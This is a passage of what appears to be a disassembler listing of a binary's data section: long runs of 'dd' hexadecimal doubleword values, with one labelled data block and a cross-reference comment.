95D100B4h, 29F368F2h, 725FFB25h, 36B0108h, 3CE90962h dd 29907E22h, 74491B2Dh, 4E9B905Ah, 81810C9Dh, 0DF17274Ch dd 0EF124F01h, 0FFF057BBh, 0BC2C1B2Ch, 29E8AF0Ah, 99F88105h dd 0CDB6623Fh, 0CF2C7B0Eh, 0C42415Dh, 808ED9A9h, 18087534h dd 3A0CF181h, 442AEF45h, 8C623F04h, 0ECC97C7Ch, 0C1275AE4h dd 2F36169h, 7411555Fh, 0B42CB7h, 0BFC0E7B9h, 0F8CE29CBh dd 25179CAEh, 0FE241056h, 0CC8F8F1Dh, 90E52C59h, 7D00BA9Fh dd 0F3BF002Dh, 108205EBh, 57000995h, 3768BB53h, 5BE96443h dd 8133BDCBh, 14B60D70h, 701CB3Eh, 7B5C4B56h, 5011E5E7h dd 0C23157D3h, 40E1820h, 6846917Fh, 78DAF13h, 65D10747h dd 806F4CB8h, 0EC38E93Bh, 0B5F19Dh, 3A85F281h, 0F8901095h dd 81719C5Eh, 393E5DEBh, 228C76EEh, 0EC09DFCh, 9837176h dd 3B49EE9Eh, 3C6BE102h, 90B0E7D5h, 2290D2EEh, 487E157Ah dd 0EA7B4778h, 581A4821h, 0DF4EE85Eh, 4F694BCh, 0C8312DF3h dd 2C685342h, 59F42B63h, 1545685Bh, 80BE471Eh, 69737F10h dd 0F9E30481h, 8065D83Ah, 0C670AB78h, 0B4E91C08h, 0AB55A7EFh dd 0F98F529h, 480B12C1h, 585874D1h, 27497382h, 0F05ED773h dd 57D2A862h, 144769C6h dd 58545005h, 6161FF51h, 0E37A958Fh, 15C8218h, 4F9455C6h dd 64B851BDh, 4A4BEC1Eh, 0E30B77EFh, 1C4BFAB6h, 61CAE1B1h dd 0A82C7220h, 8BF61C4Fh, 81845BDEh, 55D00ADh, 4C6410A0h dd 680A0218h, 0C8AA01C8h, 0A4D8920Fh, 0CBD2D3D8h, 2E842BECh dd 0C8EE12BFh, 0D700EBE0h, 51348254h, 0A3D79B9h, 0CB291DB0h dd 1C8925A1h, 0EA71BBDDh, 0A5CBF634h, 0B43DAA51h, 0A6BBF7B9h dd 0D1C3009Bh, 36E9776Ch, 6039D812h, 91BD5C31h, 6B78E2BAh dd 4A79BF0Eh, 0AE69A0D3h, 4BB16212h, 520AB102h, 0D9F5E0D6h dd 73BFB64Fh, 1ECA78F2h, 7155E6C2h, 0B05DDA80h, 4DE957D0h dd 542D947Ch, 23DDCC82h, 0A1F64E7Dh, 4757D01Ah, 144DE88Fh dd 1D73C866h, 0DE68E72Dh, 0F0014F5Bh, 0E83CF9Dh, 82A8D1B3h dd 0E0E62BA1h, 0BFD14384h, 0F45C028Ch, 0CCA85A62h, 0D4ECAD9h dd 90BBB425h, 0DBED0AC1h, 8EA1FF4Fh, 93D5267Ch, 258E2D02h dd 15D156Ah, 673485DDh, 1727AA64h, 0EC16E578h, 7F0996EFh dd 0BDE720B3h, 1DD764Eh, 5EDC164h, 515AB068h, 41897C1h dd 0BB4EACA8h, 8F84D339h, 0E9DBDAE9h, 853D2571h, 0C5BF4BC8h dd 9F50EC4Ah, 4592C68Dh, 67F20AD8h, 587F900Bh, 166542Dh dd 564A3529h, 6F402205h, 0C1B3128Eh, 2F266809h, 6DF7D71Ah dd 4D38AF10h, 0BFF6E955h, 0C88077BEh, 9E7B992Dh, 4BE1FA76h dd 6317B45Bh, 0D870F34Eh, 2480F1BAh, 0D2E8414h, 2B22E0D3h dd 40C7E1E0h, 0A4B68F0h, 5B0EA014h, 7A1BCE3h, 9E1FA4B8h dd 0ED337805h, 580E8EFBh, 260C021Ch, 0E34F3480h, 42F6121Dh dd 0F390EB32h, 4C20165Bh, 4604FA49h, 91210E2Ah, 81EBD2D3h dd 4ADEE69h, 922E0C11h, 977F994h, 10C77DF6h, 0CD2A999Fh dd 83FCE35Bh, 4F9DC5F4h, 6CA68B3h, 27E96AD5h, 39C214F7h dd 0A650BBE9h, 2641ECBEh, 18A581Eh, 29655787h, 931479F3h dd 0D1890EFFh, 893C0176h, 0DB6DDF11h, 0FC3C51DFh, 45A22F1Ch dd 543D6CC5h, 130535A0h, 0C037CA42h, 0D0552E34h, 0A24E4A67h dd 2DDB4550h, 94131325h, 5020A6Eh, 13652807h, 0FB0124C9h dd 66E9A589h, 0AC001775h, 6FA62AAEh, 0F7CBB72Dh, 0C2B55D58h dd 52C6FDBCh, 0E511D69Dh, 358DAA57h, 9C3FD2Bh, 0FC6B51E9h dd 0F1C74CCCh, 1AA412Eh, 0E1C4841Eh, 9FB29A3h, 0A112EF71h dd 0B86A5CE8h, 7880C825h, 6B3EC0F4h, 0E9258978h, 0D759642Eh dd 305BD882h, 646162C3h, 0D52C5D64h, 6FD5794Fh, 0FF0B59A6h dd 0B580EB2Eh, 800BD785h, 0DCF1E924h, 259B80BFh, 0D1293A84h dd 0E09985Ah, 0C7A14B0Bh, 52F824A9h, 0ACFC555Ah, 0AEC25AACh dd 4679C268h, 685448BBh, 4AFDA410h, 0DB15F8A8h, 6809113Ah dd 88465E19h, 7228730Bh, 0C009570Dh, 0BD94F40Bh, 5218882Dh dd 0F0544F43h, 9845BEFEh, 589EDA7Fh, 75FD8CFEh, 0A202BF5Dh dd 0C284B64Eh, 508AC2CFh, 9660A46Ah, 2226727Bh, 0B20B3539h dd 0B1B06E29h, 3AB4021Dh, 0A0E11DFDh, 1F987ACFh, 7FC2E151h dd 91A6F9CDh, 28754025h, 362C2FF0h, 0C2D498E2h, 0A6E8F9CBh dd 0BCD517A3h, 23BB0183h, 0BE5C0168h, 850B5BF7h, 0EE2F00FFh dd 0E9364C45h, 0B56E6A29h, 2C8357A7h, 0CFAA5AF1h, 0E9E180D9h dd 0A811C03h, 0D6482EB9h, 0E9B4378h, 91B0AA0h, 0FC3DCB6Ch dd 7D81825Ah, 0C25F26EAh, 0A0600877h, 81C76A0Dh, 0C2885DD9h dd 0C624E705h, 0AA4E3503h, 96F5B066h, 6AF3056Ch, 0A83387E9h dd 864FD366h, 0C634EB68h, 4CC709F1h, 60F6315Dh, 0F76AC030h dd 0E28B596Ch, 2208CE02h, 0C1FF0967h, 737E1218h, 0B5E52187h dd 85C13AE4h, 4F2ACAA8h, 0E5DFCD00h, 0A62570CCh, 0FD951B7Dh dd 0DF5A1E92h, 0D02146C0h, 47D202F6h, 330E4F0Dh, 46BE630h dd 294E5719h, 95B7C5EAh, 8126FF76h, 0F943A36Dh, 0E22FFE92h dd 32F95E05h, 4FCBB11Bh, 444E05A0h, 9E454Ch, 0E47A8AC2h dd 9F5BDA89h, 0AC2751DAh, 2D27F24Eh, 0AC51E39Eh, 0A5840312h dd 8A9FF2B2h, 8ED1F161h, 50A454C1h, 0CE9491C8h, 0FA0100B2h dd 70D82E68h, 0FE056FA4h, 3878E330h, 0C165E020h, 5EDE9091h dd 0D03CF4BCh, 801C0F69h, 0FB370502h, 0FC4B4B58h, 4297C197h dd 2E606E2Ch, 84241F1Bh, 87F3001Eh, 0E9EEA872h, 3899059h dd 0D037EA80h, 0E5C2A9E2h, 0C28F069Eh, 0D78826F2h, 59CF5460h dd 1F21D1B5h, 0FEFC25Bh, 0DFF0A7E9h, 278734BDh, 0D4DCA868h dd 0A0A4BFC2h, 0CE35D0DCh, 9F4B2D96h, 0C25D025Dh, 0A6EC09D9h dd 7EBE5602h, 0D77DB80Fh, 75E4270Ch, 2BB40712h, 0CF9A951Fh dd 3F907438h, 20895016h, 0A6368B4Bh, 0EFD12E16h, 5BC4281Ch dd 0F6802949h, 60B63F84h, 7CCDC206h, 6AFB52A7h, 4B089310h dd 8AC138EDh, 3FF76B2Eh, 0E909F2F9h, 9090EDB9h, 582736F2h dd 187ED84Eh, 0A4C40DFFh, 583DC8Bh, 923FE4BCh, 3BA5F1B8h dd 4204EDEDh, 0EB494AD4h, 642DFAC2h, 8E93CEEh, 685A21CBh dd 0F3F00769h, 253CB652h, 0B5E8DEF6h, 2DC62C1Bh, 44C59C8h dd 0BC6E562Dh, 2BD98D68h, 5AA6FD28h, 0A3F9017h, 2440AC1Eh dd 5A4F78A7h, 3352BF09h, 0A9FCCEC9h, 0C173F67Fh, 5B6A6E18h dd 0D1783064h, 65490A1Bh, 8B31F287h, 1C6EF82Fh, 0FE4F475Fh dd 9F7DC1BEh, 0FC20DB1Eh, 26AD7671h, 969846BCh, 4080F609h dd 3B18FFEDh, 5F96CEB7h, 7AB2301Dh, 0A56890Ch, 0DFD4614Eh dd 0E0C081Ah, 0AEA29614h, 263C2710h, 68C1785Eh, 0E23B2F09h dd 34AAD6BBh, 2D8CBF2Fh, 0BFCA40A3h, 4D25F80Ah, 5F00DF6Eh dd 380DC72Dh, 8862B503h, 7E90701h, 0F2B975BBh, 6861B2D4h dd 57C232DCh, 68C1EE79h, 2D3B5125h, 0E9985057h, 0D4947E59h dd 37FCF83h, 24A22D1Ah, 29DAAABBh, 5966D9E8h, 0E3EB8016h dd 33B04612h, 0BD3C5B68h, 70658B14h, 0C1EC97A0h, 187AA5Dh dd 0EBE3B951h, 4AECDD2Bh, 74C2E10Ch, 57E05873h, 5A2D9226h dd 8914AE16h, 6FF30136h, 10A15E6h, 9413EB74h, 95A17CEh dd 4A71309Fh, 0A276B382h, 0F3D44018h, 0BD4448C3h, 1D07212Fh dd 247860BBh, 0DEB58915h, 49A1A53Ch, 419959D9h, 35F21D96h dd 721BEB43h, 0F0B74121h, 48C81C1Fh, 0B7C2C3Ch, 5A4A0B62h dd 35CACE0Fh, 2814768h, 6EF01E3Dh, 0B7CBA820h, 0B04F08D8h dd 0E075B4h, 72782D05h, 0D9356CF1h, 3F286209h, 6265D529h dd 96FBA73Dh, 682127FCh, 0AE028AF1h, 4214554Ah, 13DA56D7h dd 9280721h, 9B11A2C2h, 57504FE8h, 2D230E01h, 54484007h dd 27E94820h, 0BA7182Fh, 0AE3F852Ch, 52D8F990h, 61500FBAh dd 8CA57915h, 70E82DFAh, 4E13CA4Ch, 0DF00634Fh, 3F6C018Ah dd 0C4B65AE9h, 6F00EB2Fh, 0F4282AC6h, 0CCFE255Ah, 9E403250h dd 615CA2D5h, 0E93B456h, 0CA254631h, 9021084h, 0B7685EF0h dd 28AB0F48h, 7B5CC8C1h, 30FFF061h, 36F8BB44h, 0FE2B913h dd 0C4440CCDh, 100BF3E6h, 5665C5A9h, 80B23752h, 371D5038h dd 691BFEB5h, 4E5A3C00h, 0C1121580h, 390507EFh, 74BAECD8h dd 0AE756D9h, 87CBEE27h, 690E6851h, 1392FFF9h, 0E138100Bh dd 0B72FAD3Bh, 0C074C4A9h, 5E03C798h, 2543E38Bh, 0BF22C063h dd 0CC0509B9h, 8B75092Eh, 5B8FD831h, 0B1B6AC5Ah, 202F4410h dd 7B4CE5BBh, 0C05D0B27h, 72285797h, 0F50EC09Eh, 3419753Ah dd 0EA89521Ch, 6BE9D682h, 0C97D59FAh, 0C8152948h, 0BC727195h dd 95B2DEAEh, 256B6666h, 0B62D6FF8h, 49BAD1F3h, 2E653375h dd 949254F4h, 220B41B2h, 0FF002EF0h, 571270C6h, 0EE292D1Fh dd 0E90850B9h, 0B2163924h dd 0C54C41A7h, 1DC43C87h, 117C79E3h, 8D0333C0h, 6839D2Ah dd 2CDA7598h, 0A80490C1h, 0E183614h, 0B844CE62h, 16960963h dd 0F1C5CD29h, 0ADB6338Ch, 619908EEh, 5E1F2BF9h, 0C0BBE356h dd 0BCBEB826h, 5FAA8225h, 0B2C36B96h, 3BE7B8E9h, 692C60Fh dd 6D37BF35h, 0D976B292h, 28F4251Ah, 2997D995h, 2716BE5Ch dd 0CF291844h, 4C723F80h, 8172DD91h, 420610AEh, 9BDCC659h dd 0F5ECAAC4h, 26F0912Eh, 817A2CFAh, 0EE2019B9h, 73403F2Dh dd 0EF336DEDh, 922906Ch, 6B2A410Ch, 0F889E4FDh, 71EB09CDh dd 0EC5F62D0h, 4116011Bh, 0D7E96BFEh, 0D48D2BFAh, 924AF62Fh dd 0B185CABCh, 0E48BAF7Eh, 0EED1B717h, 5051C070h, 29772668h dd 6C062E2Fh, 50E6D1E4h, 0F236C8B6h, 3558040Bh, 0C5894457h dd 0A870857Fh, 6295EC4h, 0DA67A62Bh, 0A9E1846Dh, 98DCB604h dd 0F14A8843h, 0E3E94D81h, 922C016Ch, 0E8B21335h, 0DE6BC670h dd 21EA04D7h, 0F11A31F9h, 0A2FEADDAh, 0A0FBE9C3h, 5BF8B9DEh dd 416C3DC1h, 0ED5A79BAh, 5DCA97CCh, 0A5DBFC4Ah, 2F18F6AFh dd 0D5EC0B4h, 2C761EE6h, 0E1DA961Fh, 0CD022F7Ch, 5F2DC6DDh dd 0C3311948h, 5BDA0CC0h, 5398305h, 0D02927F5h, 0A207162Dh dd 0ACE9138Ch, 3601E353h, 0E3606E2h, 3864E86Ah, 3C1DC959h dd 8E020BF1h, 119300D2h, 9701337Bh, 20D7FD05h, 2E1CC6FEh dd 0C9E1C92Fh, 6DADC82Fh, 4D7FA2C3h, 9609850Ch, 102E0C61h dd 474CB19h, 21486FC1h, 0C3BD04D0h, 0ADCF59E4h, 31249E12h dd 7717B2FDh, 0DAD712BDh, 0AB2A31BBh, 4BCC2274h, 419B71EBh dd 0D5A27E32h, 234B6809h, 718897F9h, 0B24C26B0h, 7C7E0406h dd 9B7A053Ch, 0C408FFF5h, 66BB0121h, 40515362h, 0FB1048DEh dd 0F3A14F4Ah, 521AAC01h, 729BCA47h, 6017BDB6h, 410B7E27h dd 3F0F2DE9h, 53D53ED0h, 856F5E25h, 5398FFC2h, 5C33FB14h dd 0D7F6106Fh, 0FCC2F436h, 0A9BF009Dh, 5168932h, 0E5491304h dd 2D8E0A63h, 2F932407h, 0E9500CD3h, 71436A9Ch, 0B92E3C41h dd 0E831969Ah, 0CCBD79BEh, 0EE75207Bh, 96E38928h, 7B5B1F1Ch dd 50EE9E6h, 0FD2CC917h, 0FAE05285h, 0C22991DDh, 0F8132885h dd 0D72CC152h, 4624DF77h, 0A07B9151h, 0A0E918BEh, 0B4EDD3EFh dd 8C8EB605h, 0F4C2EB01h, 0C17E0B93h, 0E5EF5B2Ch, 44FD5549h dd 6366214h, 60859927h, 3580EE59h, 4CC70EA3h, 1C17643Dh dd 7C49F74Bh, 61713B5h, 0BB6FB930h, 0A0973A6Ah, 4E38F102h dd 0C14316CDh, 32BFDE1h, 579E4619h, 1324B6D1h, 5CC4C70h dd 0FA59CE14h, 80616644h, 501B6A98h, 16D6787Eh, 0F85BD238h dd 8C52825h, 0CD8C5050h, 0BAFEF383h, 95DD588Ch, 0F207967Ah dd 78A40E2h, 0F964F0EDh, 6F2945AFh, 0F541D31Eh, 5D02B30Fh dd 47DB6083h, 0C0B725F6h, 28A957D4h, 0D1E98938h, 0D233AC9h dd 5164BA68h, 2D13891Eh, 0FB01F7E6h, 0E97F047Eh, 0DDC28ED1h dd 9669E97Bh, 685C0912h, 38664C9Bh, 0BD291B02h, 75FEE97Ch dd 8850A602h, 3E343B61h, 69EEE212h, 76EBF491h, 43D15A04h dd 0C488C301h, 0B3515B7Ah, 0AC5ACA56h, 5900C610h, 80D4F65Bh dd 82CA5F4h, 4D425FE2h, 4B185DCFh, 437E7DE8h, 5A2ED7F0h dd 8F4A6509h, 16F47B0Eh, 1B978FBEh, 92D80B80h, 0AFA6C5D0h dd 0F749A7F1h, 0E9379A9Eh, 0B2CF4B3Dh, 355D32C1h, 2C2F6801h dd 5F8925F7h, 0EB4ACA9Ch, 0EA134025h, 0B0683EC0h, 319ABD66h dd 0FBB1C504h, 0FAD67428h, 0D1B64A26h, 81F5E63Fh, 6ADDB842h dd 0DA420E84h, 0FD6C7FF2h, 4F689F0Fh, 2C92C47Ah, 4BDE2DACh dd 9079295Ah, 0E4C243Ch, 0F9035EACh, 42018365h, 91A3682Ch dd 564BA470h, 5EA296B8h, 0A3E0057Fh, 503360BFh, 312B4B8h dd 14FF655Eh, 0B602F1FDh, 155793Eh, 80A88F7h, 17020C34h dd 0F13B36E9h, 0ED688959h, 2321A55h, 0D91262A4h, 0BFAB928Fh dd 73EA0413h, 0ABFC2C33h, 64C4C0E2h, 5453F215h, 22973004h dd 0C1CE75h, 3314ADBFh, 26336D58h, 0D8A0C5D8h, 1118A14h dd 22FD8453h, 9CEC32FAh, 5F5A3BD4h, 962F524Dh, 4A09B0Bh dd 0FF7AF268h, 0EA03F3CEh, 23CE78CBh, 897325Fh, 0AF983C22h dd 18DF4673h, 0B2E13F33h, 0AF647593h, 5C870788h, 86709F9h dd 998374E9h, 0A1872F2Ch, 3170CC2h, 0D14CF928h, 24BA2691h dd 99F6861h, 12162B7Bh, 9DEFADE9h, 57847A22h, 0EF5F13EFh dd 0B5F4CCh, 216FD159h, 0E4A9E9FAh, 724E3CD4h, 4F8D0C16h dd 5987B9ACh, 0E977D147h, 6B002BBCh, 40685155h, 0F875F27Bh dd 0CB1F616Eh, 0F89C2CD8h, 2D932B33h, 136E790Eh, 0B92CEBBh dd 0F5D73BE9h, 2EC1E94h, 0AEE9138Ch, 0BB6DAADEh, 0EF098CAFh dd 0A67465F5h, 0D1F70994h, 2A48AD00h, 945122Bh, 25EA5930h dd 0BF7EF2EBh, 95408366h, 0BA43ABDCh, 8B278446h, 0BA12B48Eh dd 0B26A58D9h, 0DE878346h, 4BAF7653h, 0C46EEDFh, 42F80Ah dd 0EF808AB7h, 2C59681Eh, 0D0B433A9h, 2826EBB1h, 9CEE4E1h dd 2011DAF9h, 0BA0545D9h, 351005C2h, 684804EEh, 9F5FAA90h dd 69905996h, 2DDFFBF6h, 7F0EE37h, 8DB9345Ah, 30C9E1D6h dd 1E402922h, 0C74CB553h, 0D570301Dh, 422CE989h, 18A260B2h dd 1F9B327h, 0DB267DBDh, 9A93B50h, 0C5061858h, 0BEFD7467h dd 0D2FFFB29h, 0BAE83C28h, 82BD1917h, 76E95D02h, 48F4FAA6h dd 6D526A5Fh, 3FF6EF54h, 0F2EAA32Dh, 0E9D42F17h, 94EC4972h dd 9C2F01E5h, 432EEAC7h, 0E30BA7B8h, 0D1DE0008h, 0B11C74Eh dd 5790E952h, 0BC90BF1h, 2560D863h, 85FEDFF6h, 0BEE68005h dd 0ABFFCC2h, 80C2ABE0h, 3F7E4D65h, 3E02E781h, 0E9338528h dd 88957A2h, 2F693B7Ch, 0E20BCB73h, 77C057E4h, 60480603h dd 0C0640685h, 0B53EE433h, 89156689h, 2791D927h, 0F742E0DEh dd 321208BEh, 677554B5h, 2B840045h, 0A0E94FA5h, 0CA9593B2h dd 0F101825Ah, 25A9386Dh, 0B959AC00h, 0B79DF083h, 34F2B801h dd 0BB77C9C4h, 5E3FE1B2h, 305B9E12h, 3C6858E5h, 0DDD90A5Bh dd 13845920h, 1C8A4Fh, 0A84AEB56h, 0B42FE953h, 0DA1E5417h dd 93ECEEFFh, 4FBA91A8h, 0EF0343B8h, 742D5FC0h, 7A62C7B0h dd 0BD3AA924h, 2EA97747h, 0E22BC67Eh, 5B660F0Ch, 5EE5562Ch dd 9E7FB882h, 9465E509h, 0B6514A70h, 25605861h, 0C80FC21Dh dd 5F19682Eh, 2F462D6Bh, 313A0B6h, 4806558h, 55D965Eh dd 0A7E65C68h, 28566F00h, 0EECB817Eh, 373D4D02h, 0CCC66CE9h dd 0E9565159h, 0FB91133Fh, 9C4C862Eh, 29D6A227h, 0DA16024Bh dd 13B00A6Fh dword_4F0044 dd 440BC07h, 1A16B72h, 13DF4CF0h, 0ED0F1BE9h, 0F28850EDh ; DATA XREF: ___:00437A2Co dd 81846E4Dh, 5E4C0E6h, 0B3A1767Ch, 44DCC114h, 3EE2AFCBh dd 0ABC825C5h, 58F48344h, 9B16147h, 0F67CC6FDh, 169A69BEh dd 3252CC7Ch, 0F5DBD7B8h, 5E30E904h, 2C09CCEDh, 7254E16Ah dd 1601DC08h, 0DD2F3458h, 22092F32h, 289DB50h, 8E88E9F8h dd 6282095Ch, 80191201h, 8B2C93A0h, 4DE918C5h, 0A8BE225Fh dd 0E8855451h, 8BD62189h, 7E427A0Bh, 251F62E9h, 0FF46272Ah dd 77292403h, 36472DC0h, 20EC96A5h, 6FF7C59Dh, 0B3F588F0h dd 0B3FA257Fh, 0F7B1D34Bh, 0B05A7B0Ch, 2FE7FEABh, 7B6D0106h dd 0E5C4B328h, 0A481DD01h, 0B2A4D58Eh, 575C0816h, 0E62CBA09h dd 0F324169Ah, 4550EE73h, 4A681608h, 0B33EC5ADh, 4BB05AC0h dd 2745063Dh, 933540F1h, 0A1D373F7h, 756FCB98h, 4764BE26h dd 0DA3408A8h, 879CAA59h, 0EB37945Ch, 55375506h, 2EABF304h dd 4D00612Bh, 5347C75Eh, 6EF5BB1Dh, 47020156h, 0C0B4C546h dd 120EEE4Dh, 0AB26D816h, 805B6C4h, 5FA8AFE9h, 37DC94Fh dd 0F090CEE5h, 128595Eh, 769FC1C5h, 22EF58EBh, 0FE4FC99Eh dd 30C02723h, 6B05782Dh, 20A96850h, 4B30AC98h, 84A1D0B1h dd 215AA759h, 0B41109AAh, 0C8B9EB59h, 0ED28116Ch, 4DFCF200h dd 0D70141A1h, 2DF5CAFAh, 92BED1F1h, 0FDB459ACh, 4DA31208h dd 0A8F449E9h, 215DA094h, 437A27DDh, 85531955h, 5A7A723Ch dd 0FC1B8801h, 12590A40h, 0C0DBA52h, 163A4D8Fh, 3F107A12h dd 0CE03B5BCh, 19E108FFh, 35210C00h, 0E68635Dh, 61F6B667h dd 20626C9Dh, 764FE493h, 0FAE70444h, 348BF0Ah, 0FE87F729h dd 789275F1h, 4439B1B7h, 0E787E5BDh, 29488913h, 7B30F258h dd 3AEB1D0Dh, 8533F7Ch, 0C956C850h, 9A7DD9D4h, 0DA4843DCh dd 2AE2FE15h, 5F681116h, 0A395121Bh, 8ED008EDh, 60AAC117h dd 69326836h, 27FBCC9Fh, 5A660A3Dh, 5F827FE0h, 2B49DB41h dd 0C07BFBB1h, 2986FB2Fh, 6B20B14Fh, 0A4D85FE9h, 9C35E20h dd 0E75D5A34h, 1C5F1647h, 1C425085h, 0DF803105h, 651D2D0Fh dd 5A8F7FACh, 0BA8B135Dh, 8F5BE3DBh, 0F9984541h, 0BA2104FFh dd 0C610A12Fh, 221366F5h, 10EA2942h, 1C6B083Ch, 0A0A401FEh dd 6A49F113h, 0B97893D4h, 4981F476h, 209B88EDh, 19A13B6Fh dd 0C6BDF46Eh, 2239330Fh, 0ACE09656h, 99254CD2h, 1BB705C0h dd 89D0227h, 5D17075Eh, 0D575E1D1h, 0B9CA6581h, 30565720h dd 631FA7A4h, 0E2006160h, 348E0C98h, 5E0E2FE9h, 0DBD7629Ah dd 14BFC8ABh, 911E627Dh, 0FCA8531Fh, 50F062C7h, 0D1290F7Ah dd 0D81D1A04h, 8195A32Eh, 5A5D595Bh, 0ED203649h, 0A0D0615h dd 0B2CA013Ah, 0A4C00882h, 0A392842Ah, 0D7747500h, 68F78171h dd 399D5C7Ah, 0CABBC313h, 665A2431h, 27405E08h, 0EE807EE0h dd 6D48177Bh, 0D00185D2h, 2853D880h, 6C0A4CCBh, 5075F3Eh dd 29A40D68h, 3D49E402h, 530BA6D2h, 8627F114h, 48C16CF0h dd 6B1DF4F5h, 0C4C59F03h, 0C244FF1Eh, 0E6D718C7h, 0F51B3089h dd 6AAEF233h, 68767B09h, 82E6FDA0h, 7397D125h, 0AD0504E7h dd 2AB4BF18h, 0DF6424E9h, 0FD80AFEBh, 11DA3AD1h, 0E564A99Dh dd 7562768h, 0A6E985CFh, 0B86E42B1h, 8BAAE575h, 0A97E18DBh dd 902C429h, 0F606F580h, 0DAA77002h, 515E66DDh, 3130EC5Ch dd 55030963h, 306D589h, 0C73C836Bh, 0BC741953h, 9204636h dd 1D7B05DFh, 9CCE090Dh, 0C277F61Dh, 0BC18FE24h, 1767FB02h dd 0D827D13h, 39D1E04Fh, 2909518Fh, 0BFDC5652h, 0B11277A0h dd 4FB2837h, 0FEC221E1h, 8948A8B6h, 0AB975D20h, 6C45F47Fh dd 30C1E5C2h, 48F00AABh, 0BFCB177Eh, 7AFBF701h, 866B271Ch dd 0F1F807E1h, 27C8319h, 56FAC85Ch, 729382A3h, 98DC5E3Ah dd 5EECFE8Bh, 0E7DFE9BCh, 88E9045Eh, 2F35AAC9h, 0D26B9DBFh dd 0BF061DD8h, 67B02B0Ah, 5B170CB6h, 0FAE081Bh, 37A1F60Ah dd 310A8789h, 0E90B73FAh, 68F3A24Dh, 9AB1507Dh, 0CC7094C4h dd 38B3FCB7h, 8576805h, 0AC54554Dh, 9EEAB414h, 9FE90A22h dd 0F3818FE5h, 1AEF2A06h, 58016D64h, 782D38FDh, 2927FA44h dd 0EAF0B9CAh, 26148C20h, 9CD70108h, 4AB74B74h, 1E7F81B2h dd 45A3962Ch, 2E84EA54h, 80C3B2BAh, 18A06B23h, 0AAED2FE9h dd 3325CC49h, 0D0B82474h, 0E01A6D0Ch, 0FC2B5FDFh, 6CEE0250h dd 0E1442912h, 87D03224h, 0E3A6C770h, 0B875150Fh, 65E98651h dd 0D5212C55h, 0E5B05B54h, 9C5F654Ch, 1A5CBAF0h, 0C4ABB79h dd 0C0B572C4h, 2D620F7Dh, 0D2DA4B16h, 0F44878E2h, 0DA7710BCh dd 311DB876h, 7ECFB141h, 0AC6A0D4Bh, 1A98F401h, 64442568h dd 5817DC5h, 0B0E1958h, 82315961h, 0BB02DC38h, 29B89D44h dd 0D325BC52h, 8C54D9F1h, 0F2ED3970h, 0B004BC77h, 0E2C14229h dd 0A3EA6180h, 968C0BCCh, 3EF0B3E9h, 24DAF624h, 14A76F2Ch dd 7B1FB009h, 33B98062h, 0E06C1527h, 16487084h, 0B009A3BCh dd 0CC4FE024h, 8BDE63BAh, 0D3A2FE94h, 0A1758CC9h, 0AD4A8FA3h dd 40F2FC30h, 54E59ABh, 31ECC3E5h, 0ED9B5D8h, 3BB6841h dd 57B06D3Ch, 8CA916E9h, 0D78B385Ah, 0D2FD18EFh, 48802AA4h dd 0BFA4C525h, 270BBA20h, 0D0088B40h, 63A2A8BDh, 18BA80F3h dd 1ED06A14h, 403104A5h, 20832355h, 7D6FB2CAh, 0F2E5D8A0h dd 529786FDh, 9BCB042Bh, 0AE405853h, 981831E3h, 0C6FE0AFCh dd 5698072h, 6049626Ch, 3D6B273Bh, 22AA334Ch, 201F90EBh dd 0DB6B93Dh, 13E3788Eh, 13CA8FFBh, 61BAB588h, 884FCB15h dd 163BB83h, 62AAB12Dh, 21E06A0Ah, 0FF38598Fh, 428AC330h dd 255B7101h, 48C2BA0h, 0E923C908h, 0B86090E5h, 39E0354Fh dd 93BDA3B5h, 0DAF2B40Ch, 20F22E9Eh, 43FD0B93h, 5D8D498Dh dd 75E3A5A6h, 0B4827609h, 0D00460Ch, 0D6557Dh, 6BD1351Fh dd 232505C4h, 7EED0B02h, 209B8E9h, 0EED42A68h, 0C83CDD2Dh dd 10B7C02Dh, 79C772h, 5B7A3051h, 82E95D57h, 1A688C59h dd 0D512EA29h, 4D7DE6CAh, 1FE90550h, 26DDD8B3h, 0D90147C3h dd 980B9D31h, 2598DDD1h, 0D73F7E5Fh, 0C1CECE77h, 621D442Ch dd 8B5DFBE9h, 63AC5E12h, 0B025D1F6h, 140B9892h, 0A8C591FFh dd 0E78E2078h, 74306813h, 0C610F6F3h, 840F0565h, 9CAABFBBh dd 130E918h, 5EF233A9h, 4C0D00BFh, 0EF81D302h, 8D284EFDh dd 8304A31Dh, 292A5C03h, 8410AE8h, 2141CA0h, 0D7F74F5Ah dd 9E69A2E9h, 68A62B5Eh, 67437413h, 0F56DA18Ah, 5C83E15h dd 0B72B1DCCh, 8784BC3Dh, 0C02EFD1Dh, 0F397212Eh, 0D9E9EF0Ah dd 0CABDB4CEh, 47B23E97h, 0DEFBA4CDh, 853825BFh, 2DBA4139h dd 30C72BD7h, 551F0BBh, 55D8F307h, 0E9163544h, 2ACBA48h dd 0EAE668C4h, 7A037660h, 0FC50716Eh, 68689FA5h, 0CD969206h dd 467168E1h, 0C6DB75C2h, 71B25917h, 36356883h, 0FC2B4D27h dd 0A326B4D3h, 0E9E9CFFCh, 52337756h, 81F0F7D1h, 62D6E32Bh dd 64601FB2h, 38519703h, 16C62962h, 775EE91Ch, 8D1CD72Dh dd 5A309498h, 59CD43DFh, 52F50201h, 3375EFBAh, 27E28460h dd 63D14D12h, 806D34EBh, 0B45E120Ch, 0D501BB05h, 8FA0FAE9h dd 6FB50551h, 0AA96C580h, 50E58F91h, 30FFB3E7h, 0CD1E0612h dd 594AEB28h, 17120AACh, 0E5F2E8B8h, 39323381h, 8F71052Fh dd 0CE1797FEh, 80F6E4FFh, 2E3B250Dh, 19F64832h, 4C0DF6B5h dd 0EE492DE4h, 425E041Ch, 10BB748Dh, 5F0B0705h, 0C2C55553h dd 9039A287h, 0E6E951B0h dd 4DC9BF19h, 88872F07h, 0A9D8D5D1h, 17BA7720h, 0EB2E7A3Fh dd 0F031E301h, 0B22FECE9h, 254022C9h, 5246DA89h, 4C027094h dd 0DC172A74h, 8F94CB4Fh, 0F8685202h, 41431170h, 8101D289h dd 4F953EC2h, 292DCCE3h, 30CA2C82h, 0D9411CE2h, 0C32630C2h dd 53A6C483h, 0B0091D27h, 0A5FF4DFDh, 518BBB5Ch, 0CB037174h dd 920859DCh, 80BE0C73h, 0B690551Fh, 928C7A4Eh, 7F6B630Ah dd 511F6476h, 0D34A88C3h, 0E9426763h, 9FA35010h, 20E759F8h dd 0D14BF7D8h, 6F20E261h, 4301C310h, 0B20F8DB0h, 0E53A485Fh dd 55401633h, 0D03CB753h, 0E978B7EFh, 0F6CFFE01h, 0B8DEE9DFh dd 87686C86h, 8275B01h, 0E9C2D6B9h, 0E90EB0FFh, 0EB8B9790h dd 